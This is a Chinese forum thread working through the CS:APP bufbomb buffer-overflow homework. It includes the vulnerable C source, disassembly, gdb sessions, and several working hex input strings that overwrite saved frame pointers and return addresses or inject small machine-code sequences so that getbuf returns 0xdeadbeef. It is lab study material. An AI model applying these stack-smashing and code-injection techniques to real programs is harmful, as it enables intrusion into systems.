這是出自《深入理解計算機系統》的一道題目:
[code:1:d0aaabbf15]
/* Bomb program that is solved using a buffer overflow attack */
#include
#include
#include
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != '\n') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' + 10;
else
val = c - 'a' + 10;
if (even) {
otherd = val;
even = 0;
} else {
*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = '\0';
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don't get complaint of unused variable */
test();
return 0;
}
[/code:1:d0aaabbf15]
題目的要求是,在getbuf函數中也許“顯然”地會返回1,通過輸入一個數據使這個函數返回0xdeadbeef,就是在test函數中地printf中打印地是0xdeadbeef.
我大概有了思路,做著玩玩,晚上回來再說。
FreeGnu 回復于:2004-11-03 21:47:59 要是能來篇
堆的溢出或shellcode的編寫就更好了
本篇文章共13頁,此頁為首頁 下一頁
期望中......
converse 回復于:2004-11-03 22:40:07 思路已經想到了,還沒有時間實踐,分析如下:
當函數test在調用getbuf的時候,棧的分布情況大致如下:
[code:1:384b9f0f0e]
| | <- test的棧幀 (地址在高位)
|為局部變量分配空間(val) |
| 其他的一些空間 |
| 返回地址 |
| | <-getbuf的棧幀 (地址在低位)
|為局部變量分配空間(buf變量) |
| 其他的一些空間 |
| 返回地址 |
| |
[/code:1:384b9f0f0e]
而getbuf中的局部變量buf數組就是緊靠著getbuf棧幀的數據空間,當這個空間溢出的時候,數據就會跑到test函數的棧幀中。
看下面的test函數的匯編代碼:
[code:1:384b9f0f0e]
00000115 <_test>:
115: 55 push %ebp
116: 89 e5 mov %esp,%ebp
118: 83 ec 18 sub $0x18,%esp
11b: c7 04 24 ee 00 00 00 movl $0xee,(%esp)
122: e8 00 00 00 00 call 127 <_test+0x12>
127: e8 aa ff ff ff call d6 <_getbuf>
12c: 89 45 fc mov %eax,0xfffffffc(%ebp)
12f: 8b 45 fc mov 0xfffffffc(%ebp),%eax
132: 89 44 24 04 mov %eax,0x4(%esp)
計算機教程【好玩】緩沖區溢出攻擊實驗來自www.itwen.comIT WEN計算機教程網
136: c7 04 24 ff 00 00 00 movl $0xff,(%esp)
13d: e8 00 00 00 00 call 142 <_test+0x2d>
142: c9 leave
143: c3 ret
[/code:1:384b9f0f0e]
注意到12c那一行,是把調用getbuf函數的返回值傳到局部變量0xfffffffc(%ebp)中,就是val,接下來的一行就是把這個局部變量傳到eax寄存器再由寄存器傳到test棧幀的后面然后再調用printf函數。
我的修改思路如下,反匯編出從getbuf函數的棧幀中buf數組那部分直到test中val變量之間的代碼,其他的部分不改變,改變的只有以下兩個部分:
1)修改test函數的返回地址,使這個地址指向12f那一行,就是說把
mov %eax,0xfffffffc(%ebp)這一行跳過,直接把變量val的值傳到printf中
2)找到val在棧幀所在的位置,把這個位置的代碼改為我們所要的,也就是0xdeadbeef.
思路大致如上面所說,明天有時間實踐看看。
不知道說清楚沒有,大家給點意見。
converse 回復于:2004-11-03 23:09:44 簡而言之,修改后的test函數是這樣的:
[code:1:d925617121]
void test()
{
int val = 0xdeadbeef; //把val變量改為我們需要的值
printf("Type Hex string:");
//val = getbuf(); //單獨調用getbuf函數,不把返回值放在val中
getbuf();
printf("getbuf returned 0x%x\n", val);
}
[/code:1:d925617121]
aero 回復于:2004-11-04 08:42:48 在《黑客就這么幾招》中有很詳細的緩沖區溢出漏洞的原理和shellcode的編寫。
^_^,當初在書店看到這書,本來打算翻開嘲笑一翻,因為這個名字太張揚了。不過,看了卻發現,有很多廢話(教授工具和講述歷史)以外,還是有些內容的。尤其將緩沖區溢出漏洞和格式化字符串漏洞的原理講述的尤為詳細。
本篇文章共13頁,此頁為第2 頁 上一頁 下一頁
aero 回復于:2004-11-04 09:19:06 converse,你的思路錯了。題目的意思,不是想讓你覆蓋val的值,這樣做沒有什么意義。而是想讓你通過getbuf函數返回一個地址。這才是有用的。
我們能控制它返回一個值,我們就能進一步讓這個值覆蓋getbuf函數返回時要執行的指令。如果我們在我們控制的這個返回值的地址上,放上一個shellcode。那么就能讓程序“脫軌”,而進入我們設定的“軌道”。
converse 回復于:2004-11-04 09:28:19 是的,現在這樣看應該有很多辦法實現,因為既然找到了覆蓋返回時執行指令的辦法就可以為所欲為了,我晚上再做做看吧。
aero 回復于:2004-11-04 11:13:04 converse兄,你的思路還是正確的,偶剛才說錯了,^_^,莫怪。
呵呵,剛才深入搞了一下,這個還真不簡單。這個題要求我們溢出,讓程序“脫軌”一段后,還要回到原來的“軌道”上去,繼續打印出val的值。不能是像平常的溢出攻擊一樣,讓它“脫軌”,走我們設定的“軌道”就好了。所以想了一下,要做的事情有4步:
1、計算出getbuf函數下一條指令(給val賦值)的下一條指令的地址:A。
2、計算出getbuf函數返回的棧幀的地址:B。B中原來存放的是getbuf函數下一條指令(給val賦值)的地址:C。
3、通過輸入精心設計的輸入串,將A(內容)寫入B(地址),即用A,覆蓋C,使函數返回的時候跳過給val賦值的部分。使火車“脫軌”,繞過一個“站點”后,繼續回到原來的鐵路上。
4、精心設計的輸入串,同時也要用0x覆蓋val變量,就像converse說的。
關鍵就在于計算A和B。A要計算出絕對的數值,B起碼要計算出相對的數值。A的計算,單從程序上看,實在想不出什么辦法。莫非要去分析gcc將每條指令都翻譯成了什么,占多少字節?B的計算,相對比較容易,可以從在棧上分配的空間計算出來,可是,匯編了C程序分析了一下。gcc總是在分配空間的時候很“大方”,總是多讓出一些字節(防止溢出攻擊?),而且,郁悶的是,讓出的這些空間,大小不是固定的。有的函數是8個字節,有的函數是12個字節,真是找不到規律。難道要去讀gcc的源碼?
搞了一上午,不能搞了。今天任務要完不成了。得去工作了。唉,晚上回來在說吧。
win_hate 回復于:2004-11-06 00:52:01 :D
運行在 VMWare 上的 gentoo linux, 通過 xshell 訪問。
aero 回復于:2004-11-06 09:44:29 哈哈哈,好啊,好啊。來,來,講講原理。講講怎么做的。
converse 回復于:2004-11-06 13:26:32 看到win_hate作出來了,我也不能閑著了,也做了一個玩玩。
我用cygwin測試的結果,注意在gdb中我打印出來的值,這些就是要修改的地方。
另外要注意的是這里的ebp是在getbuf中的,所以這里給出的數據也是相對于getbuf棧幀的數據。
它們分別是
1)$ebp:test棧幀的地址,當調用getbuf函數的時候要壓入棧保存,這里要原封不動的寫出來
2)$ebp+4:從getbuf函數中返回以后執行的指令的下一個指令的地址,注意原來的值是0x401183,可是我寫回去的時候變成了0x401186,詳細的說明見我下面的說明。
3)$ebp+32和$ebp+36,我不知道為什么還要寫入這兩個值,因為我認為改動只要到修改val的值就夠了,可是這樣會出錯的,見我下面的說明。
我用cygwin測試的結果,注意在gdb中我打印出來的值,這些就是要修改的地方
converse 回復于:2004-11-06 13:35:56 說明一下修改的地方吧,如下,注意我的機子是小端法表示的:
1)d8ef2200:用小端法就是0x22efd8,這個是test棧幀的ebp的值,在調用getbuf的時候壓入棧中保存,這里要原封不動的寫出來。
2)86114000:先看看test函數的反匯編代碼吧,如下:
[code:1:3369b076c6]
00000115 <_test>:
115: 55 push %ebp
116: 89 e5 mov %esp,%ebp
本篇文章共13頁,此頁為第3頁 上一頁 下一頁
118: 83 ec 18 sub $0x18,%esp
11b: c7 04 24 ee 00 00 00 movl $0xee,(%esp)
122: e8 00 00 00 00 call 127 <_test+0x12>
127: e8 aa ff ff ff call d6 <_getbuf>
12c: 89 45 fc mov %eax,0xfffffffc(%ebp) ;從getbuf函數中返回就執行這個指令。
12f: 8b 45 fc mov 0xfffffffc(%ebp),%eax
132: 89 44 24 04 mov %eax,0x4(%esp)
136: c7 04 24 ff 00 00 00 movl $0xff,(%esp)
13d: e8 00 00 00 00 call 142 <_test+0x2d>
142: c9 leave
143: c3 ret
[/code:1:3369b076c6]
12c中的指令mov %eax,0xfffffffc(%ebp) 是從getbuf函數中返回的時候就要執行的指令,指令長度為3個字節,因為指令的編碼是89 45 fc,我們的改動必須跳過這個指令。
因此我們求出ebp+4的內容,這個內容就是這個指令的執行地址,把這個地址加3就是下一個指令即
[code:1:3369b076c6]
12f: 8b 45 fc mov 0xfffffffc(%ebp),%eax
[/code:1:3369b076c6]
的地址。
因此,86114000用小端法表示就是0x401186就是下一條指令的地址。
3)efbeadde:向局部變量val寫入我們要修改的值。
converse 回復于:2004-11-06 13:40:47 見這副圖,如果我輸入的值只到0xdeadbeef的時候程序就會出現"segmentation fault",win_hate能解釋一下為什么嗎??
出現問題的圖片
afministrator 回復于:2004-11-06 15:30:18 啊,沒有看明白呀
win_hate 回復于:2004-11-06 20:02:17 [quote:2d23f4cb3e="converse"]見這副圖,如果我輸入的值只到0xdeadbeef的時候程序就會出現"segmentation fault",win_hate能解釋一下為什么嗎??[/quote:2d23f4cb3e]
val 后面是 test 棧幀中的保存 ebp 值和返回地址,在 getxs 中最后部分有一句
[code:1:2d23f4cb3e]
*sp++ = '\0';
[/code:1:2d23f4cb3e]
會破壞保存的 ebp 值
converse 回復于:2004-11-06 20:23:42 [quote:a7e041e65c="win_hate"]
會破壞保存的 ebp 值[/quote:a7e041e65c]
明白了,最后的兩個32位的字符串,一個是main函數的ebp的值,一個是從test函數中返回后main函數的下一條指令的地址。
converse 回復于:2004-11-07 13:14:12 還有一個問題,就是從鍵盤輸入字符串的時候,這里輸入的字符串到底是存放在哪里的?這個輸入一直要到輸入回車鍵的時候才開始輸入到buf數組中吧?
aero 回復于:2004-11-08 12:59:54 ^_^,偶也做出來了。地址是用gdb看出來的。要是能計算出來就好了。
另,converse,你是用什么反匯編的啊?怎么讓指令和機器碼一同顯示啊?就是像debug那樣。
[code:1:fc25016126]
[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:12 23 34 45 56 67 78 89 90 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 f8 ef ff bf ca 84 04 08 12 23 34 45 ef be ad de e8 fb ff bf 1f 85 04 08
本篇文章共13頁,此頁為第4頁 上一頁 下一頁
getbuf returned 0xdeadbeef
[yangwl:/home/users50/yangwl/test/converse]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2/specs
Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --host=i386-redhat-linux --with-system-zlib --enable-__cxa_atexit
Thread model: posix
gcc version 3.2 20020903 (Red Hat Linux 8.0 3.2-7)
[yangwl:/home/users50/yangwl/test/converse]$ uname -a
Linux db2 2.4.18-14smp #1 SMP Wed Sep 4 12:34:47 EDT 2002 i686 i686 i386 GNU/Linux
[yangwl:/home/users50/yangwl/test/converse]$
[/code:1:fc25016126]
converse 回復于:2004-11-08 13:08:58 [quote:6fea16f599="aero"] 另,converse,你是用什么反匯編的啊?怎么讓指令和機器碼一同顯示啊?就是像debug那樣。[/quote:6fea16f599]
首先是 gcc -c參數產生目標代碼文件,然后用objdump -D就可以反匯編目標文件了
aero 回復于:2004-11-08 13:15:42 哈哈,學到,謝謝。
rootkitT 回復于:2004-11-08 16:55:25 進來晚了,你們都說完了我才看見
上面的兄弟,小弟頂一下先
win_hate 回復于:2004-11-08 17:38:26 其實還可以討論的,如果不介意程序崩潰,可以這么做:
aero 回復于:2004-11-08 19:00:06 [quote:2a63f73a60="win_hate"]其實還可以討論的,如果不介意程序崩潰,可以這么做:[/quote:2a63f73a60]
:em02: :em02: ^_^,好,又換了個思路,徹底改變了val變量的位置。
偶的:
[code:1:2a63f73a60]
[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de 56 67 78 89 90 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef
Segmentation fault
[yangwl:/home/users50/yangwl/test/converse]$
[/code:1:2a63f73a60]
aero 回復于:2004-11-08 19:09:23 win_hate其實,這種思路,也可以不怕程序崩潰的。我們改動了ebp,在改回去就是了,一樣可以返回到main里面的正常路徑上去的。
[code:1:090f431f6c]
[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de e8 fb ff bf 17 85 04 08 13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef
本篇文章共13頁,此頁為第5頁 上一頁 下一頁
[yangwl:/home/users50/yangwl/test/converse]$
[/code:1:090f431f6c]
win_hate 回復于:2004-11-08 19:19:34 改哪里,如何改?
aero 回復于:2004-11-08 19:23:42 [yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de [color=red:06eba410e1]e8 fb ff bf 17 85 04 08 [/color:06eba410e1]13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef
[yangwl:/home/users50/yangwl/test/converse]$
這里,把main里面的ebp和指令地址在完好的給改回去不就好了?
win_hate 回復于:2004-11-08 19:28:58 在我的系統上不行,你看看我給出的串,我已經給出了相應地址。
在我的系統上,似乎 printf 會覆蓋我填進去的值。
aero 回復于:2004-11-08 19:37:57 ^_^,好好看看。想看到結論。加油。
Solaris12 回復于:2004-11-09 10:39:32 [quote:1e8230e8fb="converse"]見這副圖,如果我輸入的值只到0xdeadbeef的時候程序就會出現"segmentation fault",win_hate能解釋一下為什么嗎??[/quote:1e8230e8fb]
deadbeef的意思是使用了已經被free了的內存,
當然會有段錯誤了!
aero 回復于:2004-11-09 10:49:39 [quote:c3c559c01a="Solaris12"]
deadbeef的意思是使用了已經被free了的內存,
當然會有段錯誤了![/quote:c3c559c01a]
不是吧。上面win_hate已經說的很明白了,是因為后面的'\0'會破壞test壓入的ebp,以致于無法在返回main函數的時候,進入正確的“軌道”。
Solaris12 回復于:2004-11-09 11:00:09 [quote:5561593cdd="aero"]
不是吧。上面win_hate已經說的很明白了,是因為后面的'\0'會破壞test壓入的ebp,以致于無法在返回main函數的時候,進入正確的“軌道”。[/quote:5561593cdd]
抱歉,剛才沒仔細看,呵呵
這個出題目的一定是老美,
deadbeef在Solaris的調試器里面有特殊含義,抱歉
aero 回復于:2004-11-09 11:08:32 [quote:af3263885c="Solaris12"]
抱歉,剛才沒仔細看,呵呵
這個出題目的一定是老美,
deadbeef在Solaris的調試器里面有特殊含義,抱歉[/quote:af3263885c]
哦,蝦米特殊含義啊?說來聽聽。 :em02: :em02:
Solaris12 回復于:2004-11-09 11:30:30 [quote:40fe358080="aero"]
哦,蝦米特殊含義啊?說來聽聽。 :em02: :em02:[/quote:40fe358080]
其實deadbeef不止在Solaris下,恐怕在UNIX/LINUX文化里,都有
特殊含義:
DEADBEEF /ded-beef/ n.
(From the Jargon file)
The hexadecimal word-fill pattern for freshly allocated memory under a number of IBM environments, including the RS/6000. Some modern debugging tools deliberately fill freed memory with this value as a way of converting heisenbugs into Bohr bugs. As in "Your program is DEADBEEF" (meaning gone, aborted, flushed from memory); if you start from an odd half-word boundary, of course, you have BEEFDEAD. See also the anecdote under fool and dead beef attack.
本篇文章共13頁,此頁為第6頁 上一頁 下一頁
deadbeef就是指引用已經free的內存
aero 回復于:2004-11-09 12:32:34 ^_^,原來還有典故的說。
流川 回復于:2004-11-09 15:16:50 哇,一個比一個強
afministrator 回復于:2004-11-10 10:58:23 我想你們應用C++寫一個了呀呵呵 :em02:
pigjj 回復于:2004-12-23 14:23:43 我有一點不明白,你們如何算出緩沖區的大小 ? 是否是在getbuf中 ebp-esp 的值。
[code:1:710fc9da6e](gdb) disas getbuf
Dump of assembler code for function getbuf:
0x080484b0 : push %ebp
0x080484b1 : mov %esp,%ebp
0x080484b3 : lea 0xffffffe8(%ebp),%eax
0x080484b6 : sub $0x28,%esp
0x080484b9 : mov %eax,(%esp)
0x080484bc : call 0x8048420
0x080484c1 : mov %ebp,%esp
0x080484c3 : mov $0x1,%eax
0x080484c8 : pop %ebp
0x080484c9 : ret
0x080484ca : lea 0x0(%esi),%esi
End of assembler dump.
(gdb) b *0x080484bc
Breakpoint 2 at 0x80484bc
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pigjj/prog/c/atack/a.out
Breakpoint 2, 0x080484bc in getbuf ()
(gdb) i reg
eax 0xbfffefd0 -1073745968
ecx 0x40148080 1075085440
edx 0x10 16
ebx 0x4014e620 1075111456
esp 0xbfffefc0 0xbfffefc0
ebp 0xbfffefe8 0xbfffefe8
esi 0x400164a0 1073833120
edi 0xbffffa04 -1073743356
eip 0x80484bc 0x80484bc
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
[/code:1:710fc9da6e]
從上面可以看出 函數getbuf的棧幀大小是 0x28 ,就是40個字節。可是我的程序輸入23 個字節就 segmentation fail
[code:1:710fc9da6e](gdb) run
Starting program: /home/pigjj/prog/c/atack/a.out
Type Hex string:01 02 03 04 05 06 07 08 09 10 11 12 13 14 05 16 17 18 19 2021 22 23
getbuf returned 0x1
Program exited normally.
(gdb) run
本篇文章共13頁,此頁為第7頁 上一頁 下一頁
Starting program: /home/pigjj/prog/c/atack/a.out
Type Hex string:01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 2021 22 23 24
getbuf returned 0x1
Program received signal SIGSEGV, Segmentation fault.
0x00000400 in ?? ()
(gdb)
[/code:1:710fc9da6e]
我想問下各位大哥,你們是怎樣確定緩沖區大小的,謝謝 :)[/code]
aero 回復于:2004-12-23 14:28:04 ^_^,你要先明白啥是緩沖區的概念,然后知道為什么會溢出,然后分析明白棧幀的哪里到哪里是表示什么的。
呵呵,看看偶blog上對這個問題的詳細分析。應該對你有幫助。
pigjj 回復于:2004-12-24 11:04:29 不好意思我太糊涂了,犯了錯誤。
我明白緩沖區溢出是我們輸入的字節超出了gcc分配給buf的大小,可是問題的關鍵是我們如何確定gcc分配給buf的空間,
調用getxs 前getbuf 的棧幀
-----------------
| | <-------保存的ebp 4個字節
------------------
| |
| |
| |
| | buf在這段空間的哪一部分,如何確定大小
| |
| |
| |
| |
-----------
| | 返回地址4個字節。
-----------
aero 回復于:2004-12-24 11:08:20 看源碼啊,然后結合編譯器的對齊規則。^_^,其實,各種不同的編譯優化選項也可以使它不同呢,甚至可以不使用ebp呢。
看源碼,然后編譯,然后調試,然后確定,然后實驗,然后去試目標。
pigjj 回復于:2004-12-25 18:50:07 [code:1:6fe8060e4c]
pigjj@Ale:~/prog/c/atack$ uname -a
Linux Ale 2.4.26-1-386 #1 Thu Jul 22 12:46:23 JST 2004 i686 GNU/Linux
pigjj@Ale:~/prog/c/atack$ gcc -v
Reading specs from /usr/lib/gcc-lib/i486-linux/3.3.4/specs
Configured with: ../src/configure -v --enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-clocale=gnu --enable-debug --enable-java-gc=boehm --enable-java-awt=xlib --enable-objc-gc i486-linux
Thread model: posix
gcc version 3.3.4 (Debian 1:3.3.4-3)
pigjj@Ale:~/prog/c/atack$ ./a.out
Type Hex string:12345678 12345678 12345678 12345678 12345678 12345678 f8efffbf eb840408 44686408 efbeadde d8f9ffbf 27850408
getbuf returned 0xdeadbeef
[/code:1:6fe8060e4c]
I got it :D
zne 回復于:2005-02-17 16:20:59 前面大家都是修改了test的返回地址,修改getbuf的返回地址大家覺得可以么?
本篇文章共13頁,此頁為第8頁 上一頁 下一頁
我想先貼一下我看的書里的原題
代碼在這里 http://csapp.cs.cmu.edu/public/code.html bufbomb.c
題目:
Homework Problem 3.38 [Category 3]:
In this problem, you will mount a buffer overflow attack on your own program.
As stated earlier, we do not condone using this or any other form of attack to gain unauthorized access to a system, but by doing thisexercise, you will learn a lot about machine-level programming.
Download the file bufbomb.c from the CS:APP website and compile it to create an executable program.
In bufbomb.c, you will find the following functions:
1 int getbuf()
2 {
3 char buf[12];
4 getxs(buf);
5 return 1;
6 }
7
8 void test()
9 {
10 int val;
11 printf("Type Hex string:");
12 val = getbuf();
13 printf("getbuf returned 0x%x\n", val);
14 }
The function getxs (also in bufbomb.c) is similar to the library gets, except that it reads charactersencoded as pairs of hex digits. For example, to give it a string “0123,” the user would type in the string“30 31 32 33.” The function ignores blank characters. Recall that decimal digit x has ASCII representation0x3x.
A typical execution of the program is as follows:
unix> ./bufbomb
Type Hex string: 30 31 32 33
getbuf returned 0x1
Looking at the code for the getbuf function, it seems quiteapparent that it will return value 1 whenever it
is called. It appears as if the call to getxs has no effect.
[color=blue:bbc752fa04]Your task is to make getbuf return -559038737(0xdeadbeef) to test, simply by typing an appropriate hexadecimal string to the prompt.[/color:bbc752fa04]
Here are some ideas that will help you solve the problem:
Use OBJDUMP to create a disassembled version of bufbomb. Study this closely to determine howthe stack frame for getbuf is organized and how overflowing the buffer will alter the saved program state.
[color=blue:bbc752fa04]Run your program under GDB. Set a breakpoint within getbuf and run to this breakpoint. [/color:bbc752fa04]Determine such parameters as the value of %ebp and the saved value of any state that will be overwritten when you overflow the buffer.
本篇文章共13頁,此頁為第9頁 上一頁 下一頁
[color=blue:bbc752fa04] Determining the byte encoding of instruction sequences by hand is tedious and prone to errors. You can let tools do all of the work by writing an assembly code file containing the instructions and data you want to put on the stack. Assemble this file with GCC and disassemble it with OBJDUMP. You should be able to get the exact byte sequence that you will type at the prompt. .[/color:bbc752fa04]
OBJDUMP will producesome pretty strange looking assembly instructions when it tries to disassemble the data in your file,
but the hexadecimal byte sequence should be correct.
Keep in mind that your attack is very machine and compiler specific. You may need to alter your string when running on a different machine or with a different version of GCC.
zne 回復于:2005-02-17 17:01:10 我理解題目要求我們在向buf[]中輸入數據時,輸入一些能夠執行的機器指令,在我的機器上,getbuf的棧禎是這樣
return address| test的棧幀,存儲了call getbuf之后的下一條指令地址
__saved %ebp| %ebp 從這里開始是getbuf的棧幀,存儲test的幀指針
____________|
____________|
____________|
____________|
____________|
____________|buf[]
我的想法是應該可以在gdb下運行bufbomb程序,在getbuf處設斷點,當運行到getbuf時
print /x $ebp
得到getbuf frame pointer值,假設結果是 0xbfffffc0
print /x *(unsigned*) 0xbfffffc0
得到getbuf的 frame pointer處存儲的test的frame pointer值
print /x ($ebp-24)
得到buf[]的地址
之后我們向buf[]填入8byte數據,先不考慮機器指令的編寫
改為buf[]地址 | return address
保持原值不變 | <-%ebp
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |buf[]
現在將90部分改為下面匯編語句的機器指令表示,假設正常情況下call getbuf之后的下一條指令地址為0Xxxxxxxxx
movl $deadbeef,%eax
pushl $0Xxxxxxxxx
ret
大家覺得這個方法可不可能行得通?我試過將return address覆蓋為任意一條已編譯好的instruction的地址,能夠成功。但將return address覆蓋為buf[]地址的話,就會在getbuf ret回test時發生segmentation fault.
這里為什么會發生segmentation fault?怎么才能夠ret回這個stack frame部分呢?
輸入buf的數據的最后一位'\0',感覺應該不會產生什么破壞,因為將return address覆蓋為任意一條已編譯好的instruction的地址,能夠成功。
converse 回復于:2005-02-17 19:25:12 沒看懂你的意思呀,汗顏中...
你試著截圖來說明一下吧:)
本篇文章共13頁,此頁為第10頁 上一頁 下一頁
yuxh 回復于:2005-02-17 19:56:26 不好玩!
在Linux下很正常,跑到unixware下一搞,MD,把我的虛擬機都搞沒了!
zne 回復于:2005-02-17 22:46:05 第一副圖: disassemble of test ,getbuf 和bomb
bomb 是在bufbomb.c中加的一段試驗性質的代碼
修改后的bufbomb.c 比原先只多了一個bomb程序的定義
void bomb()
{
asm("movl $0xdeadbeef,%eax");
asm("pushl $0x080484e9");
asm("ret");
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
zne 回復于:2005-02-17 22:48:23 第二副圖: 將getbuf返回地址改為 0x080484af, 成功
zne 回復于:2005-02-17 23:09:01 第三副圖: 將getbuf返回地址改為buf[]的地址,失敗
第一副圖中test對應的匯編代碼里
80484bf: 8d 45 e8 lea 0xffffffe8(%ebp),%eax
80484c5: 50 push %eax
可以看出,buf[]的地址為%ebp+0xffffffe8,即%ebp-24
從第一副圖中還可得,
movl $0xdeadbeef,%eax
pushl $0x080484e9
ret
所對應的機器指令是
b8 ef be ad de
68 e9 84 04 08
c3
這段機器代碼應該沒有問題(因為第二副圖中所示的試驗是成功的),
但當getbuf試圖返回buf[]處執行時,發生了segmentation fault, 大家覺得這是什么原因呢?
converse 回復于:2005-02-18 10:36:25 我大概知道你是哪里出錯了--順序問題,應該是從高到低來存放你的機器指令,而你原來是從低到高來存放的,暫時還沒有時間實踐,看你一直在線,怕你等久了,先回復這些,等會我自己試試看.
zne 回復于:2005-02-18 10:49:20 呵呵很感謝了,困擾了我近一個月^^,我白天也沒法試,還得等晚上回家才能試,
不過我試過如果機器指令全換成0X90(nop, no operation 空操作的話),還是會在getbuf的ret處出segmentation fault的,好像就沒有成功跳去buf[]地址,對于處理器和內存操作,很多基本概念我還都不清楚
aero 回復于:2005-02-18 11:18:22 大致看了一下,發現有以下問題:
>>前面大家都是修改了test的返回地址,修改getbuf的返回地址大家覺得可以么?
都是修改的getbuf的返回地址啊!可以看看我的blog上的一篇詳細分析,一種方法是修改getbuf的返回地址并修改val的值。另一種方法是修改getbuf的返回地址并修改test種的ebp使改變val的位置使之與buf重合。
>>我的想法是應該可以在gdb下運行bufbomb程序,在getbuf處設斷點,當運行到getbuf時
>>print /x $ebp
>>得到getbuf frame pointer值
打印出的ebp是test中的ebp值,不是getbuf中的ebp值,要用s執行一下后才是。因為這個時候還沒有執行movl %esp, %ebp這條指令。
本篇文章共13頁,此頁為第11頁 上一頁 下一頁
>>大家覺得這個方法可不可能行得通?我試過將return address覆蓋為任意一條已編譯好的instruction的地址,能夠成功。但將return address覆蓋為buf[]地址的話,就會在getbuf ret回test時發生segmentation fault.這里為什么會發生segmentation fault?怎么才能夠ret回這個stack frame部分呢?
正如converse說的,堆棧的地址是從高到低的,而指令的執行是從低到高的。將返回地址覆蓋成buf地址后,由于buf中全是空指令,不會有什么問題。但是,堆棧的上面是存儲的test中的ebp的值,這個值一般并不會是一個可以執行的機器指令,或者是取什么地址了吧?反正就是fault了。^_^,猜的。
zne 回復于:2005-02-18 11:41:48 to aero:
一 呵呵不好意思,看錯啦
二 從到達斷點時的提示信息來看,此時程序停在0x080484bf處(下一條要執行的指令是0x080484bf處的指令),這時打印出的ebp感覺就是getbuf的frame pointer值(%ebp),因為0x080484bd處的指令movl %esp, %ebp 應該已經執行了,從圖中打印出的(%ebp+4)地址處的內容也可以看出(打印出的就是getbuf返回test的return address 0x80484e9)
三 關于機器指令的排列順序,我感覺第三個圖中的排列順序應該是對的,不過由于讓程序轉去執行buf[]中的內容這個嘗試總不成功,也不好說,也可能是錯的。不過感覺如果指令排列順序錯了,不應該會在getbuf的ret語句處就出現segmentation fault吧,感覺ret "buf地址" 時系統就取不到buf[]地址處的內容似的...
由于原題目(前面貼出了)中提示說讓在buf[]中輸入機器指令,覺得這個做法(修改getbuf返回地址,讓程序轉去執行buf[]中內容的方法)應該是對的。但不知道為什么實現不了...
converse 回復于:2005-02-18 11:43:28 我試了N次,覺得理論上應該是沒有問題的,可是就是不行.
zne的思路是往緩沖區寫如如下的代碼:
[code:1:ab4b9ff31f]
asm("movl $0xdeadbeef,%eax");
asm("pushl $0x080484e9");
asm("ret");
[/code:1:ab4b9ff31f]
其中的$0x080484e9具體情況下不盡相同,這個是test函數在調用完getbuf以后下一條指令的地址,就是說他的想法是在test函數中插入
movl $0xdeadbeef,%eax
這條指令.
上面這三條匯編碼的機器指令是:
[code:1:ab4b9ff31f]
b8 ef be ad de
68 e9 84 04 08
c3
[/code:1:ab4b9ff31f]
所以只需要往緩沖區里寫入這三條機器碼然后把getbuf的返回地址改為這三個機器碼的起始位置就可以了,我原來認為他把機器碼的順序寫反了,可是我自己寫了寫還是不行..........
aero 回復于:2005-02-18 14:23:02 看了,converse的解釋,明白了。好!又是一種思路!
試驗成功了!不知道你們錯哪里的。仔細做應該沒問題的,思路是對的。我也做了好久,后來發現把一個e8寫成f8了。
另外,發現gdb中,用b getbuf和b 38(用行號)設置的斷點是不一樣的,后者設置的就是沒執行pushl %ebp指令的,而前者就是執行了的。
zne 回復于:2005-02-18 14:33:06 成功了^_^ 好啊好阿,幫我看看吧
就是我貼的第一副截圖和第三副截圖,看第三副截圖的操作有什么錯誤么,是不是機器指令順序錯了呢?
我照第三幅圖的做法試過挺多次的了... 各種地址和指令應該都沒錯的
converse 回復于:2005-02-18 14:51:47 aero截圖來說明,夾敘夾議帶抒情的那種:)
aero 回復于:2005-02-18 15:39:10 我的填充串是這樣的:b8 ef be ad de 68 bf 84 04 08 c3 00 01 02 03 04 05 06 07 08 09 10 11 12 e8 ef ff bf c0 ef ff bf
本篇文章共13頁,此頁為第12頁 上一頁 下一頁
1、前11個字節就是那三條指令,而指令的地址也正是用objdump看出來的,這里是080484bf。
